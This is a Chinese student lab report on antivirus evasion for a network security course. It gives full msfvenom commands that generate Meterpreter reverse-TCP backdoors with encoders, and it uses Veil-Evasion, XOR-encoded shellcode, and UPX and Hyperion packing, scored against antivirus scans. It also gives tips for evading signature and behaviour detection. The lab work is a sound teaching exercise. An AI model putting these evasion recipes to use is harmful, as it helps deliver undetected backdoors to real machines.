20165310 NetSec2019 Week5 Exp3 免杀原理与实践

20165310 NetSec2019 Week5 Exp3 免杀原理与实践

一、免杀原理

  • 杀软是如何检测出恶意代码的

    • 基于特征码的检测:特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。
    • 启发式恶意软件检测:杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。
    • 基于行为的恶意软件检测:是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,例如修改注册表等,则会把它当成恶意软件。
  • 免杀是做什么?

    • 对恶意软件进行不影响它功能的各种方法操作,如编码、加壳等处理,使他的特征码改变,或是捆绑正常应用等,逃过杀毒软件的扫描
  • 免杀的基本方法有哪些?

    • 改变特征码 :如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。
    • 第二种是改变行为:如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
    • 第三种是非常规方法:如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

二、实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

任务一、使用msf编码器msfvenom生成后门程序

  • 使用msf命令生成后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod1.exe

    • 其中,-e选择编码器,-b是payload中需要去除的字符,该命令中为了使‘\x00‘不出现在shellcode中,因为shellcode以‘\x00‘为结束符

    • 在virscan与VirusTotal中扫描结果分别如下:

    可以看出来查出率有一半多,免杀效果很差

  • 尝试利用msf的多次编码参数-i来进行多次编码,提高免杀效果:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod2.exe

    • 免杀扫描结果如下:

    ? 可以发现甚至扫描几乎不变,甚至反而变多了,效果并不好。

  • 尝试生成别的类型的文件进行免杀操作
    • 生成jar类型的后门:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 x> msf_JarEncode.jar

    • 扫描结果如下:

      在virscan中结果明显比exe文件减少很多,但是在VirusTotal中差不多

任务二、使用veil-evasion生成后门程序及检测

  • Veil-Evasion的安装

    • 安装veil-evasion:apt-get install evil-evation

    • 过程中需安装一系列依赖例如wine等,安装成功后可以看到如下界面:

  • 利用Veil生成C语言免杀后门:
    • 命令use evasion进入evil-evasion,命令list可以查看能编写哪些种类的后门

    • 我们选择C语言的tcp反连接后门:use 7(7为list中的对应序号)

    • 进行参数设置:

    • 生成免杀后门软件成功,命名为veil_CEncode.exe

    • 进行扫描查看免杀效果

    ? 可以看出免杀效果没有明显提高,对比去年学长学姐的博客,效果明显变差,推测应该是病毒库更新的原因。

任务三、半手工注入Shellcode并执行

  • 本机实验

    • 利用msf生成一段C语言的shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 -f c

  • 进行了C语言的异或编码,试图让他逃脱杀软的扫描,验证编码是否正确:

    • 例行扫描:

    ? 效果比上面的工具似乎好一点,但没有明显改善,简单的异或编码已经骗不过杀软了,下回尝试加密,如果成功再更新。

    • 尝试回连,查看是否经过异或加密的shellcode还能正常工作,没有优先尝试加密的原因正是因为加密后再解密的shellcode容易失效

  • 另外的真机回连
    • IP改变,重新生成shellcode:

    • 生成可执行文件,发送给对方执行并回连,exploit等待:

    • 对方执行文件,回连成功:

    • 执行命令dir确认连接成功:

    • 腾讯安全管家扫描没有扫出

      ?

任务四、加壳

  • 对上面第一个半手工shellcode进行UPX加壳,减少文件体积 :

    • 对半手工生成的shellcode加upx壳

    • 扫描结果:

      查出来的杀软数目反而增多,应该是upx的特征码被录入了病毒库,下面再加一层加密壳验证一下自己的看法

    • 利用wine模拟Windows环境,运行hyperion.exe进行加壳

    • 进行扫描:

      ? 被扫描出的结果更多,可以验证上面的想法,著名加壳工具只会增加被发现概率,建议自己加花指令或者改壳。

任务五、听说pathon-evasion挺好用

  • 为了能够嵌入汇编语言,选择了C语言对shellcode进行处理,加密解密没有现成的库简直要了命= =,于是贼心不死还是想找个工具,于是安装了听说很好用的pathon-evasion,但是不得不说安装和evil-evasion一样麻烦。

    • 经过一系列复杂的异或与多线程等操作之后,生成了exe送去扫描:

      可以看见结果稍有好转,但是没有理想中那么好,查看扫描结果发现,pathon本身特征码已经被杀软锁定了,甚至不需要扫描文件本身,直接可以断定是恶意代码,大概是曾经太好用了,可见很多杀毒软件更新还是可靠并且快的。

    • 但是还是有优点的,之前生成的所有恶意软件没有能够逃过火绒的扫描,但是这款生成的软件成功没有被发现(*_phan.exe文件都没有被扫出)

      总的来说,国内主流杀软病毒库,就本次扫描结果来说360>火绒>腾讯,但个人使用感火绒>360=腾讯,所以最后还是选择了火绒,希望它病毒库能更新的快一点吧。

三、遇到问题与实验感想

1、遇到的问题:

  • Veil-Evasion安装失败

    • 建议先执行apt-get upgrade操作,进行后成功率高了很多
    • 事实上即便更新后,安装仍然中断许多次,那就多试几次吧
    • 如果报错但是还是完成了安装,不妨试着运行一下,我最终安装有报错但是能正常运行,估计原因是前几次虽然安装失败但有些配置已经配置好了,正好是最后一次失败的配置。

  • ping不通别人的真机
    • 虚拟机网络设置改为桥接模式
    • 对方关闭防火墙

  • 回连不成功
    • 尝试了n次生成不同的shellcode,再编译成可执行文件
    • 查看进程和端口都没问题
    • 突然就成功了大概是个玄学,多试几次吧,加油,感觉验收又会死在这个上面很久,god bless me。

2、实验收获与感想

  • 本次试验扫描出来最少的样品其实是veil生成的一个python的回连脚本,但是由于我没有使用py2exe,并不能确定生成exe可执行文件后是否不会被扫描,但是根据msf生成的Java的扫描结果,似乎都比c语言要具有一定的优势。

  • 简陋的半手动shellcode生成可执行文件依然比过于大众的免杀工具好用,例如:加upx的壳与veil的C语言后门,以及msf生成的源码。
  • 可以大胆猜测一下,如果要做到真正的免杀,半手动的py/jar进行处理+部分小众工具会有奇效,要是能自己生成shellcode或许更好,总而言之就是要改变特征码与哈希值。
  • 如果要避免动态监测,绑定正常程序或者以正常程序为模板或者生成恶意dll调用,会比单独的恶意软件好很多。
  • 虽然火绒病毒库不够新,依然不能阻止我爱他的使用感。
  • 很多想法想验证,但是我来不及了,时间太少了,枯了。

原文地址:https://www.cnblogs.com/atbaoi/p/10632314.html

时间: 2024-10-09 16:24:40

20165310 NetSec2019 Week5 Exp3 免杀原理与实践的相关文章

Exp3 免杀原理与实践

Exp3 免杀原理与实践 这次的实验令我非常兴奋,因为要对抗的是各大杀毒软件厂商,所以事先得做好很多功课.另一方面我也想看看metasploit在这场猫鼠游戏中能不能走在安全厂商的前面. 这次的目标免杀平台是64位windows 7 SP1,我用的windows 7 SP1虚拟机中事先装了一下杀毒软件: 火绒 版本:4.0.55.0 360安全卫士 版本:11.4.0.2002 -- 必须连上互联网才能正常工作 在线检测: Virustotal (www.virustotal.com) Virs

网络对抗 Exp3 免杀原理与实践 20154311 王卓然

Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的?  ①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件.  ②启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件. ③基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控. (2)免杀是做什么? 免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活

2017-2018-4 20155317《网络对抗技术》EXP3 免杀原理与实践

2017-2018-4 20155317<网络对抗技术>EXP3 免杀原理与实践 一.问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 2.实践 (1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 首先尝试一下自己上个实验做出的后门程序 果然是不堪一击...拿去检测一下 装上veil尝试一下结果会如何 : 温馨提示一下,刚开始我是用的自己装的64的ka

2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践

#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过程 2.1-正确使用msf编码器 2.2-veil-evasion 2.3-组合应用技术实现免杀 2.4-靶机实测 2.5-基础问题回答 3-资料 1-实践目标 1.1-实践介绍:免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件(恶意软件

20154307《网络对抗》Exp3 免杀原理与实践

20154307<网络对抗>Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件. 启发式恶意软件检测 基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等.. (2)免杀是做什么? 让攻击程序不被杀软查杀 (3)免杀的基本方法有哪些? 加壳 改变特征码 二.实践内容 1.使用msf生成后门程序的检测 由于上一个实验我们已经用msf生成了一

Exp3 免杀原理与实践20154302薛师凡

Exp3 免杀原理与实践20154302薛师凡 一.实践目标与内容 利用多种工具实现实现恶意代码免杀 在另一台电脑上,杀软开启的情况下,实现运行后门程序并回连成功. 在保证后门程序功能的情况下实现杀软共存. 二.实践过程与步骤 1.使用msf编码器生成的后门程序 上次实践生成的后门程序,直接被360发现了,在virscan网站扫描,也有17个杀毒引擎识别了出来,很容易被辨识出来的. 2.使用veil-evasion生成的后门程序 2.1安装veil平台 apt-get install veil-

Exp3 免杀原理与实践 20154301仉鑫烨

20154301 Exp3 免杀原理与实践 仉鑫烨 一. 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧; 通过组合应用各种技术实现恶意代码免杀; 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本. 二. 基础问题 杀软是如何检测出恶意代码的? 答:①基于特征码检测:如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很

20155218《网络对抗》Exp3 免杀原理与实践

20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时对它多编码1次并进行测试 发现能发现的杀软变少: (3)使用msf时对它多编码10次并进行测试 编码10次后,发现可以查杀的杀软数量仅仅减少了一个: 二.使用veil-evasion生成后门程序的检测 通过list查看功能,选用22命令 生成文件: 测试结果: 显而易见,效果并不理想: 三.利用shellco

20155232《网络对抗》Exp3 免杀原理与实践

20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 启发式恶意软件检测 根据些片面特征去推断. 通用性,不精确. 基于行为的恶意软件检测 修改文件硬盘.连接恶意网站.修改注册表 (2)免杀是做什么? 通过一些手段来瞒过杀软的检测扫描.避免被杀毒软件查杀. (3)免杀的基本方法有哪些? 改变特征